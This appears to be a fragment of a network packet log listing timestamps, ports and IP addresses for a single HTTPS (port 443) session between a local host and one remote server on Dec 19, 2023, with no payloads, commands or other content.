Dec 19, 2023 05:18:27.004905939 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.004924059 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.004945993 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.004951954 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.004965067 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.004967928 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.004981995 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.004991055 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.004996061 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005024910 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.005042076 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005048037 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.005052090 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005069971 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005074024 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.005105972 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.005109072 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005125046 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005130053 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.005137920 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005152941 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.005197048 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.005202055 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005209923 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005235910 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005238056 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.005249023 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005264997 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.005273104 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005289078 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005306959 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.005311966 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005337954 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.005341053 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005362034 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005367994 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.005373955 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005395889 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.005423069 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.005434990 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005448103 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005501986 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005508900 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.005512953 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005537033 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005551100 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.005557060 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005568981 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005575895 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.005590916 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005599976 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.005604982 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005620003 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.005646944 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005646944 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.005656958 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005673885 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005697966 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.005703926 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005717993 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.005726099 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005738020 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.005740881 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005748987 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005769968 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.005803108 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.005805969 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005815029 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005836010 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005858898 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.005867004 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005886078 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.005899906 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005912066 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.005918026 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005945921 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005964041 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.005976915 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.005981922 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.005995989 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.006006956 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.006014109 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.006041050 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.006046057 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.006063938 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.006072998 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.006088018 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.006088972 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.006095886 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.006145000 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.006148100 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.006162882 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.006169081 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.006177902 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.006195068 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.006230116 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.006232023 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.006238937 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.006258011 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.006275892 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.006282091 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.006298065 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.006308079 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.006321907 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.006324053 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.006333113 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.006351948 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.006386042 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.006392956 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.006407022 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.006433964 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.006458044 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.006460905 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.006467104 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.006484032 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.006505966 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.006510973 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.006546974 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.006548882 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.006562948 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.006567955 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.006582022 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.006602049 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.006624937 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.006649971 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.006654978 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.006661892 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.006694078 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.006711006 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.006726027 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.006731987 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.006762981 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.006771088 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.006787062 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.006793022 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.006805897 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.006820917 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.006855011 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.006877899 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.006897926 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.006938934 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.006942987 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.006951094 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.006957054 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.006970882 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.006983042 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.006987095 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.006995916 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.007024050 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.007029057 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.007034063 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.007054090 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.007080078 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.007086992 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.007097006 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.007113934 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.007114887 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.007136106 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.007139921 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.007157087 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.007162094 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.007177114 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.007210016 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.007216930 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.007241964 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.007268906 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.070583105 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.151561975 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.151582003 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.151640892 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.151657104 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.151695967 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.151715040 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.153306007 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.153322935 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.153367043 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.153373003 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.153399944 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.153412104 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.153985977 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.154004097 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.154042006 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.154047966 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.154071093 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.154093027 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.155747890 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.155765057 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.155812979 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.155818939 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.155858994 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.159584045 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.159603119 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.159635067 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.159640074 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.159688950 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.159918070 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.159936905 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.159981966 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.159987926 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.160013914 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.160028934 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.160403013 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.160427094 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.160461903 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.160466909 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.160526991 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.160526991 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.161489964 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.161504030 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.161540985 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.161545992 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.161578894 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.161592960 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.162807941 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.162825108 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.162851095 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.162856102 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.162909985 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.162910938 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.163954973 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.163979053 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.164010048 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.164016962 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.164040089 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.164056063 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.166158915 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.166181087 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.166210890 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.166214943 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.166237116 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.166265011 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.167490959 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.167512894 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.167598009 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.167604923 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.167635918 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.168557882 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.168574095 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.168617010 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.168622017 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.168663025 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.171364069 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.171381950 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.171416044 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.171422005 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.171449900 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.171468973 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.172013998 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.172033072 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.172075033 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.172080040 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.172105074 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.172122955 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.173305988 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.173322916 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.173367977 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.173373938 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.173414946 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.189529896 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.189553022 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.189594030 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.189599037 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.189634085 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.189652920 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.190052986 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.190074921 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.190105915 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.190110922 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.190136909 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.190152884 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.190556049 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.190572977 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.190613985 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.190618992 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.190659046 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.191103935 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.191119909 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.191164017 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.191169024 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.191209078 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.379553080 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.379574060 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.379637003 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.379661083 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.379683971 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.379789114 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.379869938 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.379884958 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.379940033 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.379945993 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.379987001 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.380796909 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.380811930 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.380851984 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.380856991 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.380865097 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.380882978 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.380882978 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.380908012 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.380913019 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.380935907 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.380939007 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.380959034 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.380961895 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.380970955 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.380990028 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.381017923 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.381021023 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.381030083 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.381067038 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.381072044 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.381086111 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.381098986 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.381124973 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.381130934 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.381150007 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.381153107 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.381170034 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.381191015 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.381196022 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.381216049 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.381226063 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.381242990 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.381244898 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.381252050 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.381270885 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.381294012 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.381299973 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.381314039 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.381345987 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.381350040 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.381366968 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.381373882 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.381388903 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.381392956 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.381401062 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.381422043 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.381444931 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.381457090 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.381458998 CET	443	49718	108.181.20.35	192.168.2.6
